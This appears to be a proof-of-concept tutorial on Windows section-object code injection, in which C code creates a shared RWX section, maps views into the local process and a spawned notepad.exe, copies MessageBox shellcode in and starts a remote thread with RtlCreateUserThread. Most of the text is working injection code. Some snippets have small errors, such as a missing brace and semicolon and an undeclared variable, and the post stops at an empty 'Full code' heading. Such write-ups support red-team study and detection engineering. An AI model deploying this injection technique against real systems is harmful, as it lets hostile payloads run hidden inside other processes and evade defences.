# Section Code Injection

Written by 11philip22

# Introduction

A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space with other processes. Each memory section has one or more corresponding views. A view of a section is a part of the section that is actually visible to a process. The act of creating a view for a section is known as mapping a view of the section.

In this post we will be using the following NTAPI functions.
Documentation for these functions can be found at http://undocumented.ntinternals.net/

NtCreateSection
NtMapViewOfSection
RtlCreateUserThread

# Overview

Create a section with RWX protection.
Map a view of the section to the local process with RW protection.
Map a view of the section to the remote target process with RX protection.
Put our shellcode in the view mapped in the local process. This will get reflected in the remote process.
Call a remote thread in the target process on the mapped view that contains our shellcode.

# Implementation

In this PoC we will be using x86_64 MessageboxW shellcode. https://github.com/11philip22/MessageBoxShellcode

# Step by step

First we have to define function signatures for ntdll.dll functions.
This is necessary since these functions are not defined in a header and each call to GetProcAddress needs to be cast to a function poiner. Also, with Intellisense, calling the function has the look and feel of calling a normal Win32 function in Visual Studio.

typedef NTSTATUS(__stdcall* NTCREATESECTION)(HANDLE*, ULONG, POBJECT_ATTRIBUTES, LARGE_INTEGER*, ULONG, ULONG, HANDLE);
typedef NTSTATUS(__stdcall* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef NTSTATUS(__stdcall* RTLCREATEUSERTHREAD)(HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID);

Second we have to load these functions from ntdll.dll using GetProcAddress and LoadLibraryW.
1337 h4x0rs can use LdrGetProcAddress and LdrLoadDll. More info on LdrGetProcAddress and LdrLoadDll can be found at http://undocumented.ntinternals.net/. And here is an example of its implementation: http://phasetw0.com/writing-optimized-windows-shellcode-in-c/

NTCREATESECTION	pNtCreateSection;
NTMAPVIEWOFSECTION pNtMapViewOfSection;
RTLCREATEUSERTHREAD pRtlCreateUserThread;

CONST HMODULE hNtdll = LoadLibraryW(L"ntdll.dll");
if (hNtdll) {
	pNtCreateSection = (NTCREATESECTION)GetProcAddress(hNtdll, "NtCreateSection");
	pNtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(hNtdll, "NtMapViewOfSection");
	pRtlCreateUserThread = (RTLCREATEUSERTHREAD)GetProcAddress(hNtdll, "RtlCreateUserThread");
	FreeLibrary(hNtdll);
}
else {
	return STATUS_OPEN_FAILED;
}

Now we create our section. We create it using RWX permissions.
Please note that this PoC is returning NTSTATUS values and not System Error Codes. To convert NTSTATUS values one could use the RtlNtStatusToDosError function.

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

NTSTATUS ntStatus;
HANDLE hSection = NULL;

ntStatus = pNtCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, 
	(PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
if (!NT_SUCCESS(ntStatus)) {
	return ntStatus;
}

Then we can proceed to map the section to out local process with RW permissions.

SIZE_T dwReqBufSize = sizeof bMessageboxShellcode64;
PVOID pLocalSectionAddress = NULL;

ntStatus = pNtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalSectionAddress, 0, 0, NULL, &dwReqBufSize, 2, 0, PAGE_READWRITE);
if (!NT_SUCCESS(ntStatus)) {
	return ntStatus;

For our target process we are gonna open notepad.exe and get its handle.

NTSTATUS ntStatus;
STARTUPINFOA startupInfo;
DWORD dwPid;
HANDLE hProcess;

ZeroMemory(&startupInfo, sizeof startupInfo);
startupInfo.cb = sizeof startupInfo;
ZeroMemory(&processInformation, sizeof processInformation);

if (!CreateProcessA(NULL, "\"notepad.exe\"", NULL, NULL, FALSE,
	DETACHED_PROCESS, NULL, NULL, &startupInfo, &processInformation)) {
	return STATUS_OPEN_FAILED;
}

dwPid = processInformation.dwProcessId;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)

Now we can also map the section to our target process with RX permissions.

SIZE_T dwReqBufSize = sizeof bMessageboxShellcode64;
PVOID pRemoteSectionAddress = NULL;

ntStatus = pNtMapViewOfSection(hSection, hProcess, &pRemoteSectionAddress, 0, 0, NULL, &dwReqBufSize, 2, 0, PAGE_EXECUTE_READ);

Copy shellcode to the local view, which will get reflected in the target process's mapped view.

memcpy(pLocalSectionAddress, bMessageboxShellcode64, sizeof bMessageboxShellcode64);

Finally we call a thread on the mapped view containing our shellcode in the remote process.

HANDLE hThread = NULL;

pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, pRemoteSectionAddress, NULL, &hThread, NULL);

# Full code